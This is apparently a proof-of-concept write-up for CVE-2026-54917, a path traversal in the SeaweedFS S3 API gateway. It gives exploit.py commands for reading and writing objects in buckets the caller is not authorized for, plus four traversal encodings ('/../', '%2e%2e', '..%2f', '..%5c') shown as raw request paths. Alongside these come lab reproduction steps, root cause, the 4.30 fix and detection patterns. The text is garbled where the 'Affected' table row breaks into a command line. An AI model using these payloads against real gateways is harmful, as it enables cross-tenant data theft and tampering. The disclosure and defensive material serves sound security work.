## https://sploitus.com/exploit?id=57AFDD2B-28E7-5015-A546-31B3D793BA0B
# CVE-2026-54917 — SeaweedFS S3 gateway cross-bucket path traversal
Proof-of-concept and technical write-up for **CVE-2026-54917**, a path-traversal
in the [SeaweedFS](https://github.com/seaweedfs/seaweedfs) S3 API gateway that
lets a caller reach objects in **any bucket**, regardless of what its
credentials are authorized for.
| | |
|---|---|
| **CVE** | [CVE-2026-54917](https://nvd.nist.gov/vuln/detail/CVE-2026-54917) |
| **Advisory** | [GHSA-w62w-66v9-vvgv](https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-w62w-66v9-vvgv) |
| **Product** | SeaweedFS — S3 API gateway (`weed s3`, and the S3 endpoint in `weed server`) |
| **Affected** | ` --secret-key \
--auth-bucket bucket-a \ # bucket the credential IS allowed to use
--target-bucket evil-bucket \ # bucket you are NOT allowed to use
--key secret.txt
# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin
# try a different traversal encoding
python3 exploit.py ... --variant enc-slash # dotdot | enc-dot | enc-slash | enc-backslash
```
Four traversal encodings are implemented and all confirmed on 4.29:
| variant | on the wire | effect |
|---|---|---|
| `dotdot` | `/bucket-a/../evil-bucket/key` | works with a stock `aws-cli` too |
| `enc-dot` | `/bucket-a/%2e%2e/evil-bucket/key` | needs raw request (SDK re-encodes) |
| `enc-slash` | `/bucket-a/..%2fevil-bucket/key` | needs raw request |
| `enc-backslash` | `/bucket-a/..%5cevil-bucket/key` | `\` is folded to `/` server-side |
## Reproduce
```bash
cd lab
./setup.sh # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
--access-key TENANTAKEY --secret-key tenantasecret \
--auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly
TAG=4.30 ./setup.sh # patched build, same steps -> HTTP 400 InvalidRequest
```
The lab enables IAM (`lab/s3.json`) with two identities: `admin` (full) and
`tenant-a` (restricted to `bucket-a`). All exploitation uses only `tenant-a`'s
credential. See `EVIDENCE.txt` for the full transcript.
## Root cause
See [`ANALYSIS.md`](ANALYSIS.md). In short: `SkipClean(true)` keeps `..` in the
routed path; `GetBucketAndObject` captures the raw mux vars; IAM authorizes
against `{bucket}`; `toFilerPath` joins `{object}` (which still contains `..`)
into the filer path, where it is collapsed and crosses the bucket boundary.
## Fix
Patched in **4.30** ([`patch-4.30.diff`](patch-4.30.diff)). A `validateRequestPath`
middleware runs before the bucket handlers and rejects any captured `{bucket}` /
`{object}` var that is empty or contains a traversal segment, returning
`400 InvalidRequest`. Upgrade to 4.30 or later.
## Detection
* Any S3 request whose path contains `/../`, `/%2e%2e`, `..%2f`, or `..%5c`
between the bucket segment and the key.
* Access logs where the IAM-evaluated bucket differs from the bucket the object
ultimately resolved to.
## Credits
Caio FabrÃcio — [github.com/BiiTts](https://github.com/BiiTts)